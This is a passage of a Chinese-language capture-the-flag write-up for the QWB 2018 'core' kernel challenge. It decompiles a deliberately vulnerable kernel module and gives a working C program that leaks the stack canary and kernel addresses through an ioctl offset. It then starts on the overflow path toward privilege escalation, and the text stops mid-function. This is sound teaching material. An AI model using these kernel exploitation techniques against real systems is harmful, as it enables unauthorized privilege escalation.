qwb2018 core
题目链接:https://pan.baidu.com/s/10te2a1LTZCiNi19_MzGmJg 密码:ldiy
解压官方给的tar包,可以看到如下4个文件:
其中start.sh
是qemu的启动脚本,这里将-m
参数修改为512M,否则本地无法正常启动,同时为了便于调试,需要解包core.cpio并修改其中的init文件,将poweroff
的指令删除,让内核不在定时关闭。init
文件内容如下:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
基本可以确认存在漏洞的模块为core.ko
,而开启的kptr_restrict
、dmesg_restrict
则缓解了内核信息的泄露,卸载了/proc
、/sys
这两个目录,进一步阻止用户查看内核信息。查看start.sh可知内核开启了kaslr。注意到cat /proc/kallsyms > /tmp/kallsyms
这条命令,相当于可以从/tmp/kallsyms
读取部分内核符号信息,这样便于后面编写提权的shellcode。
解包core.cpio后,查看core.ko开启的防护如下:
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
开启了NX
以及stack canary
,利用ghidra打开core.ko
,查看它的函数如下:
初始化函数如下:
undefined8 init_module(void)
{
core_proc = proc_create(&DAT_001002fd,0x1b6,0,core_fops);
printk(&DAT_00100302);
return 0;
}
其中core_fops是内核的file_operations
结构,跟进去查看发现其实现了自定义的write
、ioctl
、release
函数,其中ioctl
函数内部调用了core_read
、core_copy_func
等功能,如下:
undefined8 core_ioctl(undefined8 param_1,int param_2,ulong param_3)
{
if (param_2 == 0x6677889b) {
core_read(param_3);
}
else {
if (param_2 == 0x6677889c) {
printk(&DAT_001002f1,param_3);
off = param_3;
}
else {
if (param_2 == 0x6677889a) {
printk(&DAT_001002d7);
core_copy_func(param_3);
}
}
}
return 0;
}
这里由于之前开启的内核策略导致printfk
输出的内容无法通过dmesg
获取,查看core_read函数如下:
void core_read(undefined8 param_1)
{
long lVar1;
undefined4 *puVar2;
long in_GS_OFFSET;
byte bVar3;
undefined4 auStack80 [16];
long local_10;
bVar3 = 0;
local_10 = *(long *)(in_GS_OFFSET + 0x28);
printk(&DAT_0010027f);
printk(&DAT_00100299,off,param_1);
lVar1 = 0x10;
puVar2 = auStack80;
while (lVar1 != 0) {
lVar1 = lVar1 + -1;
*puVar2 = 0;
puVar2 = puVar2 + (ulong)bVar3 * -2 + 1;
}
strcpy((char *)auStack80,"Welcome to the QWB CTF challenge.\n");
lVar1 = _copy_to_user(param_1,(long)auStack80 + off,0x40);//全局变量off可控
if (lVar1 != 0) {
swapgs();
return;
}
if (local_10 != *(long *)(in_GS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
由于可以通过ioctl
控制off这个全局变量,因此可以控制返回给用户的内容为内核栈上特定偏移的数据,这里可以用来泄露栈cookie
值,通过如下代码可以打印泄露的cookie
以及函数返回地址
:
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc,char* argv[])
{
int fd1 = open("/proc/core",O_RDWR);
unsigned long long buf[0x1000];
memset(buf,'a',0x200);
int off=0;
if(argc>1)
{
off=strtol(argv[1],NULL,10);
}
printf("fd is %d\n",fd1);
ioctl(fd1,0x6677889C,off);
ioctl(fd1,0x6677889B,buf);
for(int i =0;i<4;i++)
{
for(int m=0;m<4;m++)
{
printf("%016llx ",buf[i*4+m]);
}
printf("\n");
}
return 0;
}
结果如下:
/ $ ./poc 64
fd is 3
5d2043a60145af00 00007ffe2b41ecf0 ffffffffc03cc19b ffff96afda3efe40
ffffffffa19dd6d1 000000000000889b ffff96afdf80fb00 ffffffffa198ecfa
6161616161616161 6161616161616161 6161616161616161 6161616161616161
此时的5d2043a60145af00
即为当前内核栈上的cookie值,可用来后续的内核rop。查看core_write
函数:
undefined [16] core_write(undefined8 param_1,undefined8 param_2,ulong param_3)
{
ulong uVar1;
long lVar2;
printk(&DAT_00100239);
if (param_3 < 0x801) {
lVar2 = _copy_from_user(name,param_2,param_3);
if (lVar2 == 0) {
uVar1 = param_3 & 0xffffffff;
goto LAB_00100084;
}
}
printk(&DAT_00100254);
uVar1 = 0xfffffff2;
LAB_00100084:
return CONCAT88(param_2,uVar1);
}
这里可以控制name全局变量的内容。查看core_copy_func函数,如下:
undefined8 core_copy_func(ulong param_1)
{
undefined8 uVar1;
ulong uVar2;
undefined1 *puVar3;
undefined *puVar4;
long in_GS_OFFSET;
byte bVar5;
undefined auStack80 [64];
long local_10;
bVar5 = 0;
local_10 = *(long *)(in_GS_OFFSET + 0x28);
printk(&DAT_00100239);
if ((long)param_1 < 0x40) {
uVar2 = param_1 & 0xffff;
uVar1 = 0;
puVar3 = name;
puVar4 = auStack80;
while (uVar2 != 0) {
uVar2 = uVar2 - 1;
*puVar4 = *puVar3;
puVar3 = puVar3 + (ulong)bVar5 * -2 + 1;
puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
}
}
else {
printk(&DAT_001002c5);
uVar1 = 0xffffffff;
}
if (local_10 == *(long *)(in_GS_